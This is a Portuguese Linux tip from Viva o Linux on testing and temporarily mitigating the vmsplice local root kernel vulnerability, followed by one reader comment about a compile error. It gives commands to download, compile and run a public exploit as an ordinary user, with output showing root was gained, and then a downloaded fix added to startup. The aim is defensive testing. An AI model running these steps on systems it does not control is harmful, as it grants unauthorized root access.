Pular para o conteúdo

Explorando e resolvendo vulnerabilidade local no kernel Linux

Dica publicada em Linux / Avançado
Pedro Al Pacheco pedroa.pacheco
Hits: 7.065 Categoria: Linux Subcategoria: Avançado
  • Indicar
  • Impressora
  • Denunciar
O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.

Explorando e resolvendo vulnerabilidade local no kernel Linux

Esta dica é um resumo e serve para testar e solucionar a falha crítica, baseado no alerta de segurança gerado pelo CAIS (Centro de Apoio a Incidentes de Segurança) utilizando a segunda opção - desabilitar temporariamente a função do kernel vulnerável até o próximo reinício do sistema e habilitando no boot. A primeira opção que seria a atualização do kernel não será abordada.

Testado na distribuição Debian.

1 - Como testar seu servidor:

O teste é feito baixando exploit de:

$ wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c

Após baixar, compile com o comando (a compilação e execução das ações abaixo podem ser feitas como root ou usuário comum, foram testadas nas duas formas e foi obtido êxito):

$ gcc -o exploit 27704.c

Obs.: (gcc -o novo_nome_binário fonte_arquivo)

Dê permissão de execução do usuário.

$ chmod 777 exploit

Será criado um executável: exploit

Copie para a pasta do usuário local, ex.:

$ cp exploit /home/pedro

Entre com o comando:

$ su nome_do_usuário_comum (para logar como usuário comum)

Execute o binário:

$ ./exploit

A saída deve ser a seguinte:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7df6000 .. 0xb7e28000
[+] root

Depois você simplesmente digita o comando "su -" e não será pedido senha alguma para root e você terá acesso pleno ao servidor como usuário máximo.

2 - Como vacinar seu servidor:

Existem duas formas:

1. Atualização o Kernel (link de abordamento):
2. Desabilitar temporariamente a função do kernel vulnerável, até o próximo reinício do sistema:

Baixe no link:

$ wget http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c

Compile disable-vmsplice-if-exploitable.c:

$ gcc -o desabilita-exp disable-vmsplice-if-exploitable.c

Obs.: (gcc -o novo_nome_binário fonte_arquivo)

Será gerado seguinte binário: desabilita-exp

Após a execução de desabilita-exp não terá mais problemas com a vulnerabilidade.

A saída de execução será esta:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
Exploit gone!

Coloque na inicialização do Sistema Operacional onde você desejar. Ex.: /etc/rc.local ou no /etc/rcx.d.

Reinicie o servidor e efetue os testes referenciados no item 1.

Lembrando que esta medida é temporária, sem a necessidade de compilar o kernel.

Fontes:
Espero ter ajudado. Dúvidas e críticas construtivas estou a disposição.

O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.
O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.

Problemas com winbind depois de atualizar Windows 2000

Prova LPI no Rio de Janeiro em Novembro

Como Habilitar Virtualização Aninhada (Nested) no KVM

Visualizando threads de um processo no Linux

Slackware + Gentoo - Dual-boot sem live-CD/USB

Firefox - Dicionário em pt_BR

#1 Comentário enviado por IanHernandez em 30/05/2016 - 17:57h
Muito bom o seu tópico, porém estou tendo um erro na hora de compilar o arquivo:
27704.c:30:22: fatal error: asm/page.h: No such file or directory #include <asm/page.h>
^ compilation terminated.

Sabe como resolver?

Contribuir com comentário

Entre na sua conta para comentar.